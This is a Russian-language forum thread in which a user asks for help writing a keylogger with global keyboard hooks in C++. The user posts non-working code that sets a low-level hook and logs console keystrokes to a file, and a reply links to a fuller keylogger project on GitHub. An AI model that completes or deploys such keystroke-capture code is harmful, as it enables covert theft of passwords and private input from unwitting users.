Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Программирование и базы данных » C/C++ - Глобальные хуки клавиатуры с++

Ответить
Настройки темы
C/C++ - Глобальные хуки клавиатуры с++

Пользователь


Сообщения: 56
Благодарности: 0

Профиль | Отправить PM | Цитировать


Нужно написать простенький кейлогер, на сколько прочитал надо использовать глобальные хуки иначе будет ловить только, когда окно с моей прогой активное
С горем пополам состряпал следующие...компилится, но не работает


#include <stdio.h>
#include <conio.h>
#include <windows.h>


int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam)
{

switch(wParam)
{
case WM_KEYDOWN:
MessageBox(NULL, NULL, NULL, 0);
break;
default:
break;
}

return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)&KeyboardProc, GetModuleHandle(NULL), 0);

char ch;
int cha;

FILE *fptr;
HWND stealth;
AllocConsole();


while(1)
{
if (kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("data.txt", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}

Отправлено: 17:15, 15-01-2019

 

Аватара для opel431

Ветеран


Contributor


Сообщения: 1745
Благодарности: 678

Профиль | Отправить PM | Цитировать


Расширенный keylogger, на C++, работает на Windows 7, 8, 8.1 и 10
https://github.com/htmercury/Cpp-Keylogger

-------
Хвала тому, кто встав среди камней, уча другого, сам будет умней.


Последний раз редактировалось opel431, 17-01-2019 в 20:49.


Отправлено: 20:39, 17-01-2019 | #11



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Программирование и базы данных » C/C++ - Глобальные хуки клавиатуры с++

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Win32 API - Глобальные горячие клавиши! LilLoco Программирование и базы данных 1 23-03-2012 01:28
2010 - Отключить глобальные сочитания клавиш MaX1MkA Microsoft Office (Word, Excel, Outlook и т.д.) 0 20-02-2011 14:33
[решено] Глобальные переменные (?) Frost_Imp AutoIt 8 29-07-2009 15:12
[решено] глобальные переменные в php bruder Вебмастеру 17 19-04-2008 21:45
Глобальные проблемы с локальной сетью fima Сетевые технологии 7 17-09-2003 14:38




 
Переход